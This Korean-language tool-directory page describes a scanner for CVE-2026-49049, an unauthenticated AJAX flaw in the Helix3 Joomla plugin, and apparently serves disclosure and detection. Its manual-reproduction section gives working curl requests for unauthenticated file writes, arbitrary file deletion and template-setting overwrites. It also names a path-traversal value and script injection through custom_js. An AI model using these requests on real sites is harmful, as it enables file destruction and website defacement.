Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49049 — Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-49049
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-49049

CVE-2026-49049

Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler

저장소 보기
41개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Python CVE CVSS License

CVE-2026-49049 — Helix3 Joomla 플러그인 (JoomShaper)

인증되지 않은 AJAX 핸들러 — 읽기 전용 취약점 스캐너


개요

CVE-2026-49049는 Joomla의 Helix3 템플릿 프레임워크(버전 1.0 ~ 3.1.0)에 영향을 미칩니다. Joomla의 com_ajax 디스패처를 통해 접근 가능한 onAjaxHelix3 핸들러는 여러 파괴적인 작업에 대해 인증, 권한 부여 또는 CSRF 검증을 수행하지 않습니다.

작업영향사용 가능 버전
save공격자가 제어하는 경로 탐색을 통해 JSON 파일 작성모든 버전
remove임의 파일 삭제 — 확장자 또는 경로 제한 없음모든 버전
import데이터베이스에 저장된 템플릿 매개변수 덮어쓰기v3.x만

참고: import 작업은 Helix3 v3.x에서 추가되었습니다. v2.x를 실행하는 사이트는 save 및 remove에만 영향을 받습니다.

이 취약점은 Phil Taylor(mySites.guru)에 의해 발견되었으며 2026년 6월 29일에 공개되었습니다.

영향을 받는 버전

Helix3 버전save/removeimport
1.0 – 2.x취약없음
3.0 – 3.1.0취약취약
3.1.1+패치됨패치됨

설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

사용법

root@kitploit:~
# 단일 대상
python cve_2026_49049.py -t 192.168.1.100

# 대량 스캔
python cve_2026_49049.py -f targets.txt -o results.txt

# JSON 보고서 + 상세 출력
python cve_2026_49049.py -f targets.txt --json report.json -v

인수

root@kitploit:~
  -t, --target     단일 대상 (도메인 또는 IP)
  -f, --file       대상 목록 파일, 한 줄에 하나
  -o, --output     실시간 텍스트 출력 (기본값: cve-2026-49049_scan.txt)
  --json           구조화된 JSON 보고서 (기본값: cve-2026-49049_report.json)
  --threads        동시 작업자 수 (기본값: 15)
  --timeout        HTTP 타임아웃(초) (기본값: 15)
  -v, --verbose    프로브 상세 정보 표시

개념 증명

탐지 및 검증

스캐너는 읽기 전용 프로브를 수행합니다. 즉, 인증되지 않은 save 엔드포인트를 통해 Helix3 레이아웃 폴더에 무해한 JSON 파일을 쓰고, 쓰여진 파일을 확인한 후 즉시 remove 엔드포인트를 통해 삭제합니다. 대상에 영구적인 변경 사항이 남지 않습니다.

root@kitploit:~
$ python cve_2026_49049.py -t 192.168.1.100 -v
root@kitploit:~
    CVE-2026-49049 — Helix3 (JoomShaper)
    Joomla 인증되지 않은 AJAX 핸들러 스캐너

    [*] save   — 접근 가능 (프로브: 3a9719da)
    [*] remove — 접근 가능 (프로브 정리됨)

  호스트      : 192.168.1.100
  상태    : 취약
  Helix3    : 2.5.6
  취약: 예
  save      : 예
  remove    : 예
  import    : 아니요
  시간      : 2.0초

수동 재현

스캐너는 다음 정확한 엔드포인트를 프로브합니다. 수동 확인을 위해:

1단계 — Helix3 설치 확인

root@kitploit:~
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# <version>X.X.X</version> 찾기

2단계 — save 작업 테스트 (인증되지 않은 파일 쓰기)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

3단계 — remove 작업 테스트 (인증되지 않은 파일 삭제)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=remove&data[layoutName]=_test_probe.json'

4단계 — import 작업 테스트 (v3.x만, v2.x에서는 사용 불가)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=import&data[template_id]=1&data[settings]={}'

# 참고: import는 Helix3 v3.x에서 추가되었습니다.
# v2.x를 실행하는 사이트는 이 작업에 대해 빈 응답을 반환합니다.

취약점 메커니즘

Helix3 3.1.1 이전 버전에서 plugins/ajax/helix3/helix3.php는 onAjaxHelix3()를 통해 요청을 처리하며 아무런 보호 장치가 없습니다:

root@kitploit:~
public function onAjaxHelix3()
{
    $input = Factory::getApplication()->input;
    $data  = $input->post->get('data', [], 'array');
    $action = $data['action'];
    $layoutName = $data['layoutName'];

    // 인증 확인 없음. CSRF 토큰 없음. 경로 검증 없음.
    $filepath = $layoutPath . $layoutName;   // 경로 탐색 가능

    switch ($action) {
        case 'remove':
            unlink($filepath);               // 임의 파일 삭제
            break;
        case 'save':
            fwrite(fopen($filepath . '.json', 'wb'), $data['content']);  // 쓰기
            break;
    }
}

위험한 이유

  • 저장 + 경로 탐색 — layoutName=../../../somewhere/evil를 사용하여 의도된 레이아웃 디렉터리 외부에 파일을 씁니다.
  • 제거에 확장자 제한 없음 — save(.json을 추가)와 달리 remove는 모든 파일 유형을 대상으로 할 수 있습니다.
  • import (v3.x) 데이터베이스 매개변수 덮어쓰기 — custom_js는 템플릿 출력에서 이스케이프되지 않은 상태로 렌더링되어 모든 페이지에 스크립트 주입이 가능합니다. 이것이 실제 웹사이트 변조 공격에 사용된 벡터입니다.

면책 조항

교육 및 승인된 테스트 목적으로만 사용하세요.

이 소프트웨어는 공인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 대상으로 합니다.

컴퓨터 시스템에 대한 무단 접근은 불법이며 다음 법률을 위반할 수 있습니다:

  • 미국: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • 인도네시아: UU ITE Pasal 30 & 46
  • 유럽 연합: Directive 2013/40/EU
  • 영국: Computer Misuse Act 1990

저자는 오용에 대해 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 모든 행동에 대한 전적인 책임을 수락합니다.


참고 자료

자원링크

이 프로젝트는 JoomShaper, Joomla 또는 Open Source Matters, Inc.와 제휴 관계가 아닙니다.

도구 다운로드
원본 권고 (mySites.guru)Helix3 3.1.1 Security Fix
NVD 항목CVE-2026-49049
OpenCVECVE-2026-49049
JoomShaper GitHubHelix3 저장소